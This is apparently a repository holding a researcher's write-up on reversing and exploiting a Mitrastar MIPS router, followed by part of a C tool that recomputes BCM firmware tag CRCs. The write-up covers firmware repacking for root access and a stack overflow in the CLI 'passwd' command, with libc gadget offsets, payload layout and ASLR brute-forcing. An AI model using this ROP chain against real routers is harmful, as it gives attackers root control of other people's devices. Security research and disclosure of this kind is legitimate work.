├── README.md ├── analyzetag_mod.c └── exploit_clean.py /README.md: -------------------------------------------------------------------------------- 1 |

2 |
Mitrastar MIPS router, reversing and exploitaition
3 |

4 | 5 |

6 | Analysis of a widely used SOHO router 7 |

8 | 9 |

10 | 11 | 12 | POC 13 | , 14 | 15 | Twitter 16 | , 17 | 18 | Pax0r 19 | 20 | 21 |

22 | 23 |

24 | 25 | 26 | 27 |

28 | 29 | ## Contents index 30 | 31 | - [Why](#Why) 32 | - [Firmware analysis](#Firmware) 33 | - [Firmware layout and modification](#Layout) 34 | - [Exploitation](#Exploitation) 35 | - [ROP chain](#ROP) 36 | - [Summary](#Summary) 37 | 38 | ## Why 39 | 40 | A few moths ago my ISP charged me what I consider a lot of money for a "Broadcom" Mitrastar router I couldn't return. So, let's have some fun with it at least! My goal was to obtain root access to the router with the newest firmware image and look for some memory bugs that could lead to RCE. 41 | 42 | ## Firmware 43 | 44 | My first approach was the typical one, open the device and look for some test pins in order to find UART, JTAG or something useful to interact with our device. After finding the UART pins and connect to them, we have an unlocked CFE bootloader: 45 | 46 | ``` 47 | *** Press any key to stop auto run (1 seconds) *** 48 | Auto run second count down: 1 49 | web info: Waiting for connection on socket 0. 50 | 51 | CFE> 52 | Available commands: ATSE, ATEN, ATSH, um, m, ATBL, ATDU, ATBR, ATGO, ATSR, ATMB, ATHE 53 | 54 | CFE> 55 | 56 | ``` 57 | 58 | I didn't figure out how to dump the NAND flash without "dn" command available. I can't flash a new bootloader either without "r" command. Another option is to unsolder the flash and try to dump the firmware out of the board, but after read some string with ATDU command I tried another approach. 59 | 60 | ``` 61 | Creating 9 MTD partitions on "brcmnand.0": 62 | 0x000003260000-0x000006260000 : "rootfs" 63 | 0x000000040000-0x000003240000 : "rootfs_update" 64 | 0x000007b00000-0x000007f00000 : "data" 65 | 0x000000000000-0x000000020000 : "nvram" 66 | 0x000003240000-0x000006260000 : "image" 67 | 0x000000020000-0x000003240000 : "image_update" 68 | 0x000006260000-0x000007900000 : "app" 69 | 0x000007900000-0x000007a00000 : "usrcfg" 70 | 0x000007a00000-0x000007b00000 : "cfg_upgrade" 71 | ``` 72 | 73 | Why not just install a vulnerable firmware version (this one), get a root shell and, after that, force a firmware upgrade and grab the new firmware image? There's no need to wait for TR-069 on 7547 if you force a firmware upgrade via the reset button. So after grabbing a compiled MIPS tcpdump bin and force the upgrade a few times, I catched a fresh firmware image requested to the ISP's CDN: 74 | 75 |

76 | 77 |

78 | 79 | I am not interested in researching an old firmware version, so the next steps were to modify this fresh firmware image into one that can give us a root shell and then look for some vulnerabilities in the up to date firmware. As far as I know, there aren't known bugs or ways to execute arbitrary commands as root in newest firmware versions. 80 | 81 | ## Layout 82 | 83 | Let's take a look at the firmware with binwalk: 84 | 85 | ``` 86 | DECIMAL HEXADECIMAL DESCRIPTION 87 | -------------------------------------------------------------------------------- 88 | 131072 0x20000 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 22454151 bytes, 1342 inodes, blocksize: 131072 bytes, created: 2020-05-04 05:10:56 89 | 22585356 0x158A00C LZMA compressed data, properties: 0x6D, dictionary size: 4194304 bytes, uncompressed size: 4588512 bytes 90 | ``` 91 | 92 | After manual analysis I found the firmware was composed of: 93 | 94 | - BCM tag header from 0 to 0x20000 95 | - Squashfs filesystem from 0x20000 to 0x158a000 96 | - Kernel preceded by code address and entry address from 0x158a000 to end. 97 | 98 | When the firmware update process starts, there were some CRC checks before the image is accepted and some checks after the first boot to ensure the kernel and image CRC is correct. Our modified firmware needs to pass both checks in order to work, or the router will switch to a previous validated image. 99 | 100 | Some of those CRC checks are in the BCM tag header (0-0x20000), I have uploaded to this repository a modified version of an analyze tag program who works with this specific firmware image. In order to pass the CRC checks, we need to modify the following values in BCM tag header: 101 | 102 | - Rootfs CRC 103 | - Kernel CRC 104 | - Image CRC 105 | - Header CRC 106 | 107 | Let's take a look at the BCM tag hexdump to clarify: 108 | 109 | ``` 110 | 00000000 36 00 00 00 4d 53 54 43 5f 61 30 30 31 00 00 00 |6...MSTC_a001...| 111 | 00000010 00 00 00 00 00 00 00 00 76 65 72 2e 20 32 2e 30 |........ver. 2.0| 112 | 00000020 00 00 00 00 00 00 36 38 33 38 00 00 47 50 54 2d |......6838..GPT-| 113 | 00000030 32 35 34 31 47 4e 41 43 00 00 00 00 31 00 32 33 |2541GNAC....1.23| 114 | 00000040 39 37 37 34 33 34 00 00 30 00 00 00 00 00 00 00 |977434..0.......| 115 | 00000050 00 00 00 00 30 00 00 00 00 00 00 00 00 00 33 32 |....0.........32| 116 | 00000060 31 37 32 39 33 33 31 32 00 00 32 32 34 35 34 32 |17293312..224542| 117 | 00000070 37 32 00 00 33 32 33 39 37 34 37 35 38 34 00 00 |72..3239747584..| 118 | 00000080 31 35 32 33 31 36 32 00 00 00 00 00 00 00 31 30 |1523162.......10| 119 | 00000090 30 56 4e 4a 30 62 31 00 00 00 00 00 00 00 00 00 |0VNJ0b1.........| 120 | 000000a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 53 |..............ES| 121 | 000000b0 5f 67 33 2e 35 5f 31 30 30 56 4e 4a 30 62 35 34 |_g3.5_100VNJ0b54| 122 | 000000c0 5f 37 5f 43 41 00 00 00 00 00 00 00 00 00 00 00 |_7_CA...........| 123 | 000000d0 00 00 00 00 00 00 00 00 **2c b2 12 e3** **98 d1 b9 d5** |........,.......| 124 | 000000e0 **9e db b0 36** 00 00 00 00 00 00 00 00 **34 68 8c 0b** |...6........4h..| 125 | 000000f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 126 | 00000100 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| 127 | * 128 | 00020000 129 | 130 | ``` 131 | 132 | In this occasion, Kernel CRC is 9edbb036, Rootfs CRC is 98d1b9d5, Image CRC is 2cb212e3 and Header CRC is 34688c0b. When we modify the firmware, we need to set up the new calculated CRC values at those positions, ending with Header CRC value. 133 | 134 | At this point, to obtain a root shell is easy. I used unsquashfs and mksquashfs version 4.4 (with xz support) and modified inittab to "unjail" us from "consoled" program: 135 | 136 | ``` 137 | cat /etc/inittab 138 | # See examples/inittab for full description of fields. 139 | # This file contains customizations for the Broadcom CPE Router SDK 140 | 141 | # "bcm_boot_launcher start" will execute all scripts in /etc/rc3.d starting 142 | # with letter S in lexicographical order 143 | ::sysinit:/bin/sh -l -c "bcm_boot_launcher start" 144 | 145 | # if you don't want to type username/passwd in console login, copy this 146 | # file to inittab.custom and replace "-/bin/sh -l -c consoled" below with "-/bin/sh" 147 | # The '-' means interactive, is still attached to terminal 148 | # Remove '-l -c consoled' 149 | ::respawn:-/bin/sh -l -c consoled 150 | 151 | # Currently, there are no scripts for shutdown 152 | ::shutdown:/bin/sh -l -c "bcm_boot_launcher stop" 153 | ``` 154 | 155 | After the desired modifications, make the squashfs filesystem again, append the Kernel at the end of it and the BCM tag header at the start. Then, modify the CRC values, ending with Header CRC. I wrote a dirty bash script to automatize this process, DM me if you need it. 156 | 157 | If now we let the system start without interrupt it and we connect through UART, we'll have a root shell in latest firmware version: 158 | 159 | ``` 160 | # ls QTN bootup done. qtnModuleInitCheckCnt = 0/10 161 | /etc 162 | getMiniBootCalstate@211: read calstate =3 from =/var/qtn_mini_boot_calstate=== 163 | 164 | GPT-2541GNAC-TEF profile 165 | adsl protocols 166 | appwatchdog.sh psk.txt 167 | arl qharvestd.conf 168 | cms_entity_info.d qharvestdwatchdog.sh 169 | csmd.json racoon.conf 170 | default.cfg radvd.conf.sample 171 | dhcp rc3.d 172 | dhcp6c.conf.sample rdpa_common_filter_init.sh 173 | dhcp6s.conf.sample rdpa_common_init.sh 174 | dms.conf rdpa_gpon_init.sh 175 | dyndscp.sh re_test.sh 176 | ethertypes resolv.conf 177 | extra_func.sh rmt_ip.conf 178 | filesystems rsa_host_key 179 | fstab samba 180 | fstab.squashfs services 181 | gateway.conf sftp_download.sh 182 | group sftp_update.sh 183 | hosts shgw 184 | init.d shgwrestart.sh 185 | inittab smt.cfg 186 | iproute2 snmp 187 | ipsec.conf soft_bridge 188 | ipv6_start.sample sskwatchdog.sh 189 | mdk start_soniq.sh 190 | mfg25 sysconfig 191 | mfg6 syslog-ng.conf 192 | mini5g.sh sysmsg 193 | miniboot.sh udhcpd.conf 194 | minifw_version udhcpd.leases 195 | mtab vlan 196 | passwd wlan 197 | ppp wrt54g.large.ico 198 | pppmsg wrt54g.small.ico 199 | prbs.sh 200 | # 201 | ``` 202 | 203 | ## Exploitation 204 | 205 | A stack-based buffer overflow exists in libcms_cli.so "passwd" functionality: 206 | 207 |

208 | 209 |

210 | 211 | I'm sure there are more vulnerabilities in this router, but this is a good start in my opinion. We're dealing with ASLR and NX, so we need to build a ROP-chain and, due to the fact I didn't found a memory leak yet, we can bruteforce libc.so base address because ASLR protection. In the worst scenario we need to perform about 8000 tries to successfully guess where the libc base address is. As only the child and not the parent process is terminating after segfault when connecting via SSH, in the worst scenario this will take a few hours, but it's working. After achieve RCE you can modify whatever you want, outside of the read-only filesystem, in order to gain a more reliable shell access. A working POC was uploaded to this repository. 212 | 213 | ``` 214 | > 215 | > passwd 216 | Username: aaaa 217 | Password: unrecognized username #python -c "print('A'*250)"| xclip -sel clip 218 | 219 | Segmentation fault (core dumped) 220 | # 221 | ``` 222 | 223 | ## ROP 224 | 225 | In this occasion, I used the following gadgets to call libc.so system() function: 226 | 227 | - Libc base address + 0x0005a380 = libc.so system() 228 | 229 | - Libc base address + 0x63338 = libc.so '/bin/sh' 230 | 231 | - Gadget 1. Libc base address + 0x00038834 = addiu $a0, $sp, 0x20 ; lw $ra, 0x64($sp) ; move $v0, $s2 ; lw $s3, 0x60($sp) ; lw $s2, 0x5c($sp) ; lw $s1, 0x58($sp) ; lw $s0, 0x54($sp) ; jr $ra ; addiu $sp, $sp, 0x68 232 | 233 | - Gadget 2. Libc base address + 0x0001f654 = move $t9, $s2 ; jalr $t9 ; move $a1, $s0 234 | 235 | To summarize, to call system with '/bin/sh' argument we need to: 236 | 237 | - Send 116 bytes of junk. 238 | 239 | - Send address of Gagdet 1. Gadget 1 is at $ra / $pc +8. 240 | 241 | - Send address of libc.so '/bin/sh', 23 times (yes, I'm lazy) for a total of 92 bytes. 242 | 243 | - Send address of libc.so system() function. We want libc.so system() at $s2. 244 | 245 | - Send 4 bytes of junk. In the exploit in the repository I set a random address I was testing. 246 | 247 | - Send address of Gadget 2. 248 | 249 | When Gadget 1 is called, it sets libc.so system() at $s2, Gadget 2 at $ra and libc.so '/bin/sh' at $s3, although system()'s argument will be taken from stack later when system() is called. Then, Gadget 2 takes system() from $s2 to $t9 and calls it with '/bin/sh' argument. After this, we can send the command we want to execute in the router. 250 | 251 | ## Summary 252 | 253 | It is well known that IOT devices and SOHO routers security is far from being ideal as we have seen in the last years. I have the feeling that other vulnerabilities can easily be found in this router model. It's been fun analyzing the device for a while! If you need additional information or you have found others vulnerabilities feel free to contact me. Any improvements are welcome, see you soon. 254 | -------------------------------------------------------------------------------- /analyzetag_mod.c: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is subject to the terms and conditions of the GNU General Public 3 | * License. See the file "COPYING" in the main directory of this archive 4 | * for more details. 5 | * 6 | * Copyright (C) 2008 Axel Gembe 7 | * Copyright (C) 2009 Daniel Dickinson 8 | */ 9 | 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | 20 | #define IMAGE_LEN 10 /* Length of Length Field */ 21 | #define ADDRESS_LEN 12 /* Length of Address field */ 22 | #define TAGID_LEN 6 /* Length of tag ID */ 23 | #define TAGINFO_LEN 20 /* Length of vendor information field in tag */ 24 | #define TAGVER_LEN 4 /* Length of Tag Version */ 25 | #define TAGLAYOUT_LEN 4 /* Length of FlashLayoutVer */ 26 | 27 | #define NUM_TAGID 5 28 | #define IMAGETAG_CRC_START 0xFFFFFFFF 29 | 30 | struct tagiddesc_t { 31 | char tagid[TAGID_LEN + 1]; 32 | char tagiddesc[80]; 33 | }; 34 | 35 | // bc221 is used by BT Voyager and should be right 36 | // bc310 should be right, and may apply to 3.08 code as well 37 | #define TAGID_DEFINITIONS { \ 38 | { "bccfe", "Broadcom CFE flash image" }, \ 39 | { "bc300", "Broadcom code version 3.00-3.06 and all ftp/tftp flash" }, \ 40 | { "ag306", "Alice Gate (Pirelli, based on Broadcom 3.06)" }, \ 41 | { "bc221", "Broadcom code version 2.21" }, \ 42 | { "bc310", "Broadcom code version 3.10-3.12" }, \ 43 | } 44 | 45 | struct bcm_tag_bccfe { 46 | unsigned char tagVersion[TAGVER_LEN]; // 0-3: Version of the image tag 47 | unsigned char sig_1[20]; // 4-23: Company Line 1 48 | unsigned char sig_2[14]; // 24-37: Company Line 2 49 | unsigned char chipid[6]; // 38-43: Chip this image is for 50 | unsigned char boardid[16]; // 44-59: Board name 51 | unsigned char big_endian[2]; // 60-61: Map endianness -- 1 BE 0 LE 52 | unsigned char totalLength[IMAGE_LEN]; // 62-71: Total length of image 53 | unsigned char cfeAddress[ADDRESS_LEN]; // 72-83: Address in memory of CFE 54 | unsigned char cfeLength[IMAGE_LEN]; // 84-93: Size of CFE 55 | unsigned char rootAddress[ADDRESS_LEN]; // 94-105: Address in memory of rootfs 56 | unsigned char rootLength[IMAGE_LEN]; // 106-115: Size of rootfs 57 | unsigned char kernelAddress[ADDRESS_LEN]; // 116-127: Address in memory of kernel 58 | unsigned char kernelLength[IMAGE_LEN]; // 128-137: Size of kernel 59 | unsigned char dualImage[2]; // 138-139: Unused at present 60 | unsigned char inactiveFlag[2]; // 140-141: Unused at present 61 | unsigned char information1[TAGINFO_LEN]; // 142-161: Unused at present 62 | unsigned char tagId[TAGID_LEN]; // 162-167: Identifies which type of tag this is, currently two-letter company code, and then three digits for version of broadcom code in which this tag was first introduced 63 | unsigned char tagIdCRC[4]; // 168-171: CRC32 of tagId 64 | unsigned char reserved1[44]; // 172-215: Reserved area not in use 65 | unsigned char imageCRC[4]; // 216-219: CRC32 of images 66 | unsigned char reserved2[16]; // 220-235: Unused at present 67 | unsigned char headerCRC[4]; // 236-239: CRC32 of header excluding tagVersion 68 | unsigned char reserved3[16]; // 240-255: Unused at present 69 | }; 70 | 71 | struct bcm_tag_bc300 { 72 | unsigned char tagVersion[TAGVER_LEN]; // 0-3: Version of the image tag 73 | unsigned char sig_1[20]; // 4-23: Company Line 1 74 | unsigned char sig_2[14]; // 24-37: Company Line 2 75 | unsigned char chipid[6]; // 38-43: Chip this image is for 76 | unsigned char boardid[16]; // 44-59: Board name 77 | unsigned char big_endian[2]; // 60-61: Map endianness -- 1 BE 0 LE 78 | unsigned char totalLength[IMAGE_LEN]; // 62-71: Total length of image 79 | unsigned char cfeAddress[ADDRESS_LEN]; // 72-83: Address in memory of CFE 80 | unsigned char cfeLength[IMAGE_LEN]; // 84-93: Size of CFE 81 | unsigned char flashImageStart[ADDRESS_LEN]; // 94-105: Address in memory of kernel (start of image) 82 | unsigned char flashRootLength[IMAGE_LEN]; // 106-115: Size of rootfs + deadcode (web flash uses this + kernelLength to determine the size of the kernel+rootfs flash image) 83 | unsigned char kernelAddress[ADDRESS_LEN]; // 116-127: Address in memory of kernel 84 | unsigned char kernelLength[IMAGE_LEN]; // 128-137: Size of kernel 85 | unsigned char dualImage[2]; // 138-139: Unused at present 86 | unsigned char inactiveFlag[2]; // 140-141: Unused at present 87 | unsigned char information1[TAGINFO_LEN]; // 142-161: Unused at present 88 | unsigned char tagId[TAGID_LEN]; // 162-167: Identifies which type of tag this is, currently two-letter company code, and then three digits for version of broadcom code in which this tag was first introduced 89 | unsigned char tagIdCRC[4]; // 168-173: CRC32 to ensure validity of tagId 90 | unsigned char rootAddress[ADDRESS_LEN]; // 174-183: Address in memory of rootfs partition 91 | unsigned char rootLength[IMAGE_LEN]; // 184-193: Size of rootfs partition 92 | unsigned char reserved1[22]; // 194-215: Reserved area not in use 93 | unsigned char imageCRC[4]; // 216-219: CRC32 of images 94 | unsigned char reserved2[16]; // 220-235: Unused at present 95 | unsigned char headerCRC[4]; // 236-239: CRC32 of header excluding tagVersion 96 | unsigned char reserved3[16]; // 240-255: Unused at present 97 | }; 98 | 99 | struct bcm_tag_ag306 { 100 | unsigned char tagVersion[TAGVER_LEN]; // 0-3: Version of the image tag 101 | unsigned char sig_1[20]; // 4-23: Company Line 1 102 | unsigned char sig_2[14]; // 24-37: Company Line 2 103 | unsigned char chipid[6]; // 38-43: Chip this image is for 104 | unsigned char boardid[16]; // 44-59: Board name 105 | unsigned char big_endian[2]; // 60-61: Map endianness -- 1 BE 0 LE 106 | unsigned char totalLength[IMAGE_LEN]; // 62-71: Total length of image 107 | unsigned char cfeAddress[ADDRESS_LEN]; // 72-83: Address in memory of CFE 108 | unsigned char cfeLength[IMAGE_LEN]; // 84-93: Size of CFE 109 | unsigned char flashImageStart[ADDRESS_LEN]; // 94-105: Address in memory of kernel (start of image) 110 | unsigned char flashRootLength[IMAGE_LEN]; // 106-115: Size of rootfs + deadcode (web flash uses this + kernelLength to determine the size of the kernel+rootfs flash image) 111 | unsigned char kernelAddress[ADDRESS_LEN]; // 116-127: Address in memory of kernel 112 | unsigned char kernelLength[IMAGE_LEN]; // 128-137: Size of kernel 113 | unsigned char dualImage[2]; // 138-139: Unused at present 114 | unsigned char inactiveFlag[2]; // 140-141: Unused at present 115 | unsigned char information1[TAGINFO_LEN]; // 142-161: Unused at present 116 | unsigned char information2[54]; // 162-215: Compilation and related information (not generated/used by OpenWRT) 117 | unsigned char kernelCRC[4] ; // 216-219: CRC32 of images 118 | unsigned char rootAddress[ADDRESS_LEN]; // 220-231: Address in memory of rootfs partition 119 | unsigned char tagIdCRC[4]; // 232-235: Checksum to ensure validity of tagId 120 | unsigned char headerCRC[4]; // 236-239: CRC32 of header excluding tagVersion 121 | unsigned char rootLength[IMAGE_LEN]; // 240-249: Size of rootfs 122 | unsigned char tagId[TAGID_LEN]; // 250-255: Identifies which type of tag this is, currently two-letter company code, and then three digits for version of broadcom code in which this tag was first introduced 123 | }; 124 | 125 | struct bcm_tag_bc221 { 126 | unsigned char tagVersion[TAGVER_LEN]; // 0-3: Version of the image tag 127 | unsigned char sig_1[20]; // 4-23: Company Line 1 128 | unsigned char sig_2[14]; // 24-37: Company Line 2 129 | unsigned char chipid[6]; // 38-43: Chip this image is for 130 | unsigned char boardid[16]; // 44-59: Board name 131 | unsigned char big_endian[2]; // 60-61: Map endianness -- 1 BE 0 LE 132 | unsigned char totalLength[IMAGE_LEN]; // 62-71: Total length of image 133 | unsigned char cfeAddress[ADDRESS_LEN]; // 72-83: Address in memory of CFE 134 | unsigned char cfeLength[IMAGE_LEN]; // 84-93: Size of CFE 135 | unsigned char flashImageStart[ADDRESS_LEN]; // 94-105: Address in memory of kernel (start of image) 136 | unsigned char flashRootLength[IMAGE_LEN]; // 106-115: Size of rootfs + deadcode (web flash uses this + kernelLength to determine the size of the kernel+rootfs flash image) 137 | unsigned char kernelAddress[ADDRESS_LEN]; // 116-127: Address in memory of kernel 138 | unsigned char kernelLength[IMAGE_LEN]; // 128-137: Size of kernel 139 | unsigned char dualImage[2]; // 138-139: Unused at present 140 | unsigned char inactiveFlag[2]; // 140-141: Unused at present 141 | unsigned char rsa_signature[TAGINFO_LEN]; // 142-161: RSA Signature (unused at present; some vendors may use this) 142 | unsigned char reserved5[2]; // 162-163: Unused at present 143 | unsigned char tagId[TAGID_LEN]; // 164-169: Identifies which type of tag this is, currently two-letter company code, and then three digits for version of broadcom code in which this tag was first introduced 144 | unsigned char rootAddress[ADDRESS_LEN]; // 170-181: Address in memory of rootfs partition 145 | unsigned char rootLength[IMAGE_LEN]; // 182-191: Size of rootfs partition 146 | unsigned char flashLayoutVer[4]; // 192-195: Version flash layout 147 | unsigned char kernelCRC[4]; // 196-199: Guessed to be kernel CRC 148 | unsigned char reserved4[16]; // 200-215: Reserved area; unused at present 149 | unsigned char imageCRC[4]; // 216-219: CRC32 of images 150 | unsigned char reserved2[12]; // 220-231: Unused at present 151 | unsigned char tagIdCRC[4]; // 232-235: CRC32 to ensure validity of tagId 152 | unsigned char headerCRC[4]; // 236-239: CRC32 of header excluding tagVersion 153 | unsigned char reserved3[16]; // 240-255: Unused at present 154 | }; 155 | 156 | struct bcm_tag_bc310 { 157 | unsigned char tagVersion[4]; // 0-3: Version of the image tag 158 | unsigned char sig_1[20]; // 4-23: Company Line 1 159 | unsigned char sig_2[14]; // 24-37: Company Line 2 160 | unsigned char chipid[6]; // 38-43: Chip this image is for 161 | unsigned char boardid[16]; // 44-59: Board name 162 | unsigned char big_endian[2]; // 60-61: Map endianness -- 1 BE 0 LE 163 | unsigned char totalLength[IMAGE_LEN]; // 62-71: Total length of image 164 | unsigned char cfeAddress[ADDRESS_LEN]; // 72-83: Address in memory of CFE 165 | unsigned char cfeLength[IMAGE_LEN]; // 84-93: Size of CFE 166 | unsigned char flashImageStart[ADDRESS_LEN]; // 94-105: Address in memory of kernel (start of image) 167 | unsigned char flashRootLength[IMAGE_LEN]; // 106-115: Size of rootfs + deadcode (web flash uses this + kernelLength to determine the size of the kernel+rootfs flash image) 168 | unsigned char kernelAddress[ADDRESS_LEN]; // 116-127: Address in memory of kernel 169 | unsigned char kernelLength[IMAGE_LEN]; // 128-137: Size of kernel 170 | unsigned char dualImage[2]; // 138-139: Unused at present 171 | unsigned char inactiveFlag[2]; // 140-141: Unused at present 172 | unsigned char information1[TAGINFO_LEN]; // 142-161: Unused at present; Some vendors use this for optional information 173 | unsigned char tagId[6]; // 162-167: Identifies which type of tag this is, currently two-letter company code, and then three digits for version of broadcom code in which this tag was first introduced 174 | unsigned char tagIdCRC[4]; // 168-171: CRC32 to ensure validity of tagId 175 | unsigned char rootAddress[ADDRESS_LEN]; // 172-183: Address in memory of rootfs partition 176 | unsigned char rootLength[IMAGE_LEN]; // 184-193: Size of rootfs partition 177 | unsigned char reserved1[22]; // 193-215: Reserved area not in use 178 | unsigned char imageCRC[4]; // 216-219: CRC32 of images 179 | unsigned char rootfsCRC[4]; // 220-227: CRC32 of rootfs partition 180 | unsigned char kernelCRC[4]; // 224-227: CRC32 of kernel partition 181 | unsigned char reserved2[8]; // 228-235: Unused at present 182 | unsigned char headerCRC[4]; // 235-239: CRC32 of header excluding tagVersion 183 | unsigned char reserved3[16]; // 240-255: Unused at present 184 | }; 185 | 186 | union bcm_tag { 187 | struct bcm_tag_bccfe bccfe; 188 | struct bcm_tag_bc300 bc300; 189 | struct bcm_tag_ag306 ag306; 190 | struct bcm_tag_bc221 bc221; 191 | struct bcm_tag_bc310 bc310; 192 | }; 193 | 194 | #define IMAGETAG_MAGIC1 "Broadcom Corporatio" 195 | #define IMAGETAG_MAGIC2 "ver. 2.0" 196 | #define IMAGETAG_VER "6" 197 | #define IMAGETAG_DEFAULT_LOADADDR 0x80010000 198 | #define DEFAULT_FW_OFFSET 0x20000 199 | #define DEFAULT_FLASH_START 0xBFC00000 200 | #define DEFAULT_FLASH_BS (64 * 2048) 201 | #define DEADCODE 0xDEADC0DE 202 | 203 | union int2char { 204 | uint32_t input; 205 | unsigned char output[4]; 206 | }; 207 | 208 | /* This appears to be necessary due to alignment issues */ 209 | #define int2tag(tag, value) intchar.input = htonl(value); \ 210 | strncpy(tag, intchar.output, sizeof(union int2char)) 211 | 212 | #define printhex(format, value) printf(format, value, value) 213 | 214 | /* Kernel header */ 215 | struct kernelhdr { 216 | uint32_t loadaddr; /* Kernel load address */ 217 | uint32_t entry; /* Kernel entry point address */ 218 | uint32_t lzmalen; /* Compressed length of the LZMA data that follows */ 219 | }; 220 | 221 | static struct tagiddesc_t tagidtab[NUM_TAGID] = TAGID_DEFINITIONS; 222 | 223 | static uint32_t crc32tab[256] = { 224 | 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, 225 | 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, 226 | 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, 227 | 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, 228 | 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, 229 | 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, 230 | 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, 231 | 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, 232 | 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, 233 | 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, 234 | 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, 235 | 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, 236 | 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, 237 | 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, 238 | 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, 239 | 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, 240 | 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, 241 | 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, 242 | 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, 243 | 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, 244 | 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, 245 | 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, 246 | 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, 247 | 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, 248 | 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, 249 | 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, 250 | 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, 251 | 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, 252 | 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, 253 | 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, 254 | 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, 255 | 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D 256 | }; 257 | 258 | uint32_t crc32(uint32_t crc, uint8_t *data, size_t len) 259 | { 260 | while (len--) 261 | crc = (crc >> 8) ^ crc32tab[(crc ^ *data++) & 0xFF]; 262 | 263 | return crc; 264 | } 265 | 266 | uint32_t compute_crc32(uint32_t crc, FILE *binfile, size_t compute_start, size_t compute_len) 267 | { 268 | uint8_t readbuf[1024]; 269 | size_t read; 270 | 271 | fseek(binfile, compute_start, SEEK_SET); 272 | 273 | /* read block of 1024 bytes */ 274 | while (binfile && !feof(binfile) && !ferror(binfile) && (compute_len >= sizeof(readbuf))) { 275 | read = fread(readbuf, sizeof(uint8_t), sizeof(readbuf), binfile); 276 | crc = crc32(crc, readbuf, read); 277 | 